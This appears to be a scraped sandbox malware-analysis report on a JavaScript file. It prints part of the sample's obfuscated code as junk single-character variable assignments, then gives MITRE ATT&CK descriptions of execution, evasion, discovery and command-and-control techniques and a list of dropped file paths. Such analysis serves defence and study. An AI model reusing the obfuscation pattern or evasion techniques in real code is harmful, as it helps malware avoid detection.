1267	iiapcjwlw = "Y";
1268	iiapcjwlw = "f";
1269	iiapcjwlw = "P";
1270	iiapcjwlw = "a";
1271	iiapcjwlw = "n";
1272	iiapcjwlw = "S";
1273	iiapcjwlw = "j";
1274	iiapcjwlw = "N";
1275	iiapcjwlw = "u";
1276	iiapcjwlw = "B";
1277	iiapcjwlw = "B";
1278	iiapcjwlw = "U";
1279	iiapcjwlw = "g";
1280	iiapcjwlw = "J";
1281	iiapcjwlw = "j";
1282	iiapcjwlw = "e";
1283	iiapcjwlw = "E";
1284	iiapcjwlw = "u";
1285	iiapcjwlw = "f";
1286	iiapcjwlw = "k";
1287	iiapcjwlw = "m";
1288	iiapcjwlw = "I";
1289	iiapcjwlw = "L";
1290	iiapcjwlw = "J";
1291	iiapcjwlw = "u";
1292	iiapcjwlw = "c";
1293	iiapcjwlw = "h";
1294	iiapcjwlw = "N";
1295	iiapcjwlw = "g";
1296	iiapcjwlw = "I";
1297	iiapcjwlw = "B";
1298	iiapcjwlw = "s";
1299	iiapcjwlw = "l";
1300	iiapcjwlw = "n";
1301	iiapcjwlw = "A";
1302	iiapcjwlw = "K";
1303	eaekvo = "T";
1304	eaekvo = "R";
1305	eaekvo = "w";
1306	eaekvo = "T";
1307	eaekvo = "f";
1308	eaekvo = "H";
1309	eaekvo = "n";
1310	eaekvo = "e";
1311	eaekvo = "O";
1312	eaekvo = "E";
1313	eaekvo = "b";
1314	eaekvo = "P";
1315	eaekvo = ".";
1316	qnlytxk = "P";
1317	qnlytxk = "G";
1318	qnlytxk = "n";
1319	qnlytxk = "R";
1320	qnlytxk = "V";
1321	qnlytxk = "c";
1322	qnlytxk = "O";
1323	qnlytxk = "q";
1324	qnlytxk = "r";
1325	qnlytxk = "K";
1326	qnlytxk = "y";
1327	qnlytxk = "X";
1328	qnlytxk = "E";
1329	qnlytxk = "Q";
1330	qnlytxk = "B";
1331	qnlytxk = "A";
1332	qnlytxk = "P";
1333	qnlytxk = "c";
1334	qnlytxk = "V";
1335	qnlytxk = "q";
1336	qnlytxk = "U";
1337	qnlytxk = "P";
1338	qnlytxk = "k";
1339	qnlytxk = "I";
1340	qnlytxk = "z";
1341	qnlytxk = "G";
1342	qnlytxk = "g";
1343	qnlytxk = "U";
1344	qnlytxk = "l";
1345	qnlytxk = "t";
1346	khbnrqvv = "i";
1347	khbnrqvv = "D";
1348	khbnrqvv = "c";
1349	khbnrqvv = "n";
1350	khbnrqvv = "L";
1351	khbnrqvv = "n";
1352	khbnrqvv = "T";
1353	khbnrqvv = "Q";
1354	khbnrqvv = "o";
1355	khbnrqvv = "u";
1356	khbnrqvv = "d";
1357	khbnrqvv = "p";
1358	khbnrqvv = "P";
1359	khbnrqvv = "D";
1360	khbnrqvv = "l";
1361	khbnrqvv = "E";
1362	khbnrqvv = "V";
1363	khbnrqvv = "t";
1364	khbnrqvv = "Q";
1365	khbnrqvv = "P";
1366	khbnrqvv = "x";
1367	khbnrqvv = "x";
1368	khbnrqvv = "F";
1369	khbnrqvv = "N";
1370	khbnrqvv = "m";
1371	khbnrqvv = "L";
1372	khbnrqvv = "Y";
1373	khbnrqvv = "W";
1374	khbnrqvv = "c";
1375	khbnrqvv = "B";
1376	khbnrqvv = "r";
1377	khbnrqvv = "g";
1378	khbnrqvv = "t";
1379	khbnrqvv = "N";
1380	khbnrqvv = "M";
1381	khbnrqvv = "E";
1382	khbnrqvv = "p";
1383	khbnrqvv = "Q";
1384	khbnrqvv = "y";
1385	khbnrqvv = "N";
1386	khbnrqvv = "/";
1387	eyjhbk = "J";
1388	eyjhbk = "H";
1389	eyjhbk = "t";
1390	eyjhbk = "B";
1391	eyjhbk = "X";
1392	eyjhbk = "i";
1393	eyjhbk = "m";
1394	eyjhbk = "l";
1395	eyjhbk = "L";
1396	eyjhbk = "Y";
1397	eyjhbk = "N";
1398	eyjhbk = "H";
1399	eyjhbk = "S";
1400	eyjhbk = "K";
1401	eyjhbk = "a";
1402	eyjhbk = "w";
1403	eyjhbk = "n";
1404	ogjckb = "B";
1405	ogjckb = "C";
1406	ogjckb = "J";
1407	ogjckb = "o";
1408	ogjckb = "F";
1409	ogjckb = "F";
1410	ogjckb = "K";
1411	ogjckb = "H";
1412	ogjckb = "O";
1413	ogjckb = "V";
1414	ogjckb = "f";
1415	ogjckb = "J";
1416	ogjckb = "D";
1417	ogjckb = "m";
1418	ogjckb = "R";
1419	ogjckb = "e";
1420	ogjckb = "u";
1421	ogjckb = "d";
1422	ogjckb = "X";
1423	ogjckb = "A";
1424	ogjckb = "y";
1425	ogjckb = "k";
1426	ogjckb = "H";
1427	ogjckb = "T";
1428	ogjckb = "%";
1429	ovdbk = "c";
1430	ovdbk = "N";
1431	ovdbk = "D";
1432	ovdbk = "S";
1433	ovdbk = "H";
1434	ovdbk = "m";
1435	ovdbk = "F";
1436	ovdbk = "W";
1437	ovdbk = "E";
1438	ovdbk = "a";
1439	ovdbk = "q";
1440	ovdbk = "H";
1441	ovdbk = "P";
1442	ovdbk = "m";
1443	ovdbk = "l";
1444	ovdbk = "G";
1445	ovdbk = "G";
1446	ovdbk = "J";
1447	ovdbk = "f";
1448	ovdbk = "R";
1449	ovdbk = "P";
1450	ovdbk = "d";
1451	ovdbk = "U";
1452	ovdbk = "h";
1453	ovdbk = "S";
1454	ovdbk = "h";
1455	ovdbk = "u";
1456	ovdbk = "w";
1457	ovdbk = "4";
1458	vkaqidzc = "v";
1459	vkaqidzc = "j";
1460	vkaqidzc = "m";
1461	vkaqidzc = "s";
1462	vkaqidzc = "U";
1463	vkaqidzc = "B";
1464	vkaqidzc = "F";
1465	vkaqidzc = "i";
1466	vkaqidzc = "V";
1467	vkaqidzc = "D";
1468	vkaqidzc = "q";
1469	vkaqidzc = "W";
1470	vkaqidzc = "Q";
1471	vkaqidzc = "q";
1472	vkaqidzc = "C";
1473	vkaqidzc = "h";
1474	vkaqidzc = "i";
1475	vkaqidzc = "X";
1476	vkaqidzc = "A";
1477	vkaqidzc = "v";
1478	vkaqidzc = "k";
1479	vkaqidzc = "S";
1480	vkaqidzc = "g";
1481	vkaqidzc = "L";
1482	vkaqidzc = "j";
1483	vkaqidzc = "z";
1484	vkaqidzc = "t";
1485	vkaqidzc = "c";
1486	vkaqidzc = "u";
1487	vkaqidzc = "Y";
1488	stfmmhlk = "d";
1489	stfmmhlk = "D";
1490	stfmmhlk = "h";
1491	stfmmhlk = "W";
1492	stfmmhlk = "E";
1493	stfmmhlk = "j";
1494	stfmmhlk = "r";
1495	stfmmhlk = "h";
1496	stfmmhlk = "L";
1497	stfmmhlk = "Z";
1498	stfmmhlk = "f";
1499	stfmmhlk = "l";
1500	stfmmhlk = "m";
1501	stfmmhlk = "S";
1502	stfmmhlk = "Q";
1503	stfmmhlk = "H";
1504	stfmmhlk = "X";
1505	stfmmhlk = "P";
1506	stfmmhlk = "L";
1507	stfmmhlk = "D";
1508	stfmmhlk = "a";
1509	stfmmhlk = "b";
1510	stfmmhlk = "t";
1511	stfmmhlk = "y";
1512	stfmmhlk = "M";
1513	stfmmhlk = "r";
1514	stfmmhlk = "G";
1515	stfmmhlk = "I";
1516	stfmmhlk = "J";
1517	stfmmhlk = "L";
1518	stfmmhlk = "o";
1519	stfmmhlk = "Z";
1520	stfmmhlk = "E";
1521	stfmmhlk = "h";
1522	stfmmhlk = "T";
1523	stfmmhlk = "E";
1524	stfmmhlk = "P";
1525	stfmmhlk = "D";
1526	stfmmhlk = "V";
1527	stfmmhlk = "i";
1528	stfmmhlk = "G";
1529	stfmmhlk = "l";
1530	stfmmhlk = "D";
1531	stfmmhlk = "G";
1532	stfmmhlk = "N";
1533	yhspi ( );	yhspi() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 15108208223119820474.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5e0f87.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ec5c61c0-9360-4333-b954-229b5a9f1c62.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fd0f7c1f-1614-47eb-aa1e-a61c2375c3ca.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
15108208223119820474.js